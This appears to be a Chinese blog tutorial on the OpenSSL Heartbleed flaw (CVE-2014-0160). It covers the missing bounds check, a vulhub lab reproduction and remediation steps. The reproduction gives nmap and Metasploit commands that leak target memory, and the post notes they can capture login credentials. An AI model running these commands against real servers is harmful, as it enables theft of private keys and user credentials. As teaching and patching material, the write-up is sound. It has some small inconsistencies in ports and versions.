OpenSSL 心脏滴血漏洞(CVE-2014-0160)

这篇文章详细解释了2012年出现的OpenSSLHeartbleed安全漏洞,涉及边界验证缺失导致的内存泄漏,影响了1.0.1版本的软件。文章介绍了漏洞原理、复现方法、影响范围以及修复建议,包括升级软件、撤销旧密钥等措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞介绍:Heartbleed

是一个加密程序库OpenSSL的安全漏洞,该程序广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务端还是客户端,都可能因此而收到攻击。此问题的来源是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过滤,即可以读取的数据比应该允许读取的还多。HeartBleed主要存在与OpenSSL的1.0.1版本到1.0.1f版本。利用该漏洞,攻击者可以远程读取服务器内存中64K的数据,获取内存中的敏感信息。

Heartbleed漏洞,这项严重缺陷的差生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的的64KB缓存,将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄漏。

漏洞原理:

OpenSSL漏洞的问题出现在OpenSSL处理TLS心跳的过程中,TLS心跳的流程是:A向B发送请求包,B收到包之后读取这个包的内容(data),并返回一个包含有请求包内容的响应包。请求包的内容(data)中包含有包的类型(type)和数据长度等信息。

当B收到A的请求包后,并没有验证A包的实际长度,而是简单的把请求包中说明的长度当作data的实际长度,于是当请求包中说明的长度与请求包实际长度不同时,问题就产生了。假设A构造一个请求包,它的实际内容长度只有1,而却告诉B它的长度是65535,那么B接收到这个包后就会把A的内容当作65535来处理,其实到这里,问题还不算严重,最严重的问题出在,心跳的响应包还需要附带请求包还需要附带请求包的全部内容,这就需要程序做一次将请求包的数据从它所在的内容拷贝到响应包的内存里的操作。

当拷贝的时候,程序认为A包的内容长度是65535个字节,结果A包在内存里面实际只有1个字节,于是程序不仅拷贝出了A包的内容,还将A包数据在内存中位置后额外的65534个字节拷贝进了响应包,并将这个响应包返回给了A,于是A便轻易地获得了B内存中这65534个字节的数据。

影响版本:

OpenSSL 1.0.1版本

漏洞复现:

复现环境:vulhub

命令:docker-compose up -d

靶机:Ubuntu 116.62.66.254

攻击机:kali 192.168.226.142

信息收集

使用nmap进行扫描

命令:nmap -sV -T4 116.62.66.254

8443端口开放,

使用nmap漏洞扫描脚本对5443端口进行端口扫描

命令:nmap -sV -p 8443 --script ssl-heartbleed.nse 116.62.66.254

使用MSFCONSOLE进行攻击

命令:msfconsole

搜索相关漏洞模块:search heartbleed

使用攻击模块1:use auxiliary/scanner/ssl/openssl_heartbleed

查看配置参数:show options

配置参数:对required为yes但是current setting为空的项进行设置,这里我们只需要设置rhosts

命令:set rhost 116.62.66.254

set rport 8443 #设置端口

set verbose true #设置verbose为true是为了 看到泄露的信息

进行攻击:run

这里就可以看到 靶机的64KB信息了(如果有人此时在登录web应用,还可以直接抓到账号密码等信息)。

修复方案:

OpenSSL“心脏出血”漏洞(CVE-2014-0160)受影响的OpenSSL版本:

OpenSSL 1.0.2-beta

OpenSSL 1.0.1 - OpenSSL 1.0.1f

要解决此漏洞,简单粗暴的方法就是升级openSSL软件。

建议服务器管理员或使用1.0.1g版,或使用-DOPENSSL_NO_HEARTBEATS选项重新编译OpenSSL,从而禁用易受攻击的功能,直至可以更新服务器软件。

1.将受影响的服务器下线,避免它继续泄露敏感信息。

2.停止旧版的 openssl 服务,升级 openssl 到新版本,并重新启动。

3.生成新密钥。(因为攻击者可能通过漏洞获取私钥。)将新密钥提交给你的CA,获得新的认证之后在服务器上安装新密钥。

4.服务器上线。

5.撤销旧认证。

6.撤销现有的会话cookies。

7.要求用户修改密码。

Heartbleed 是在 8 年多前被发现并修补的,然而许多服务器仍然存在 Heartbleed 漏洞

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值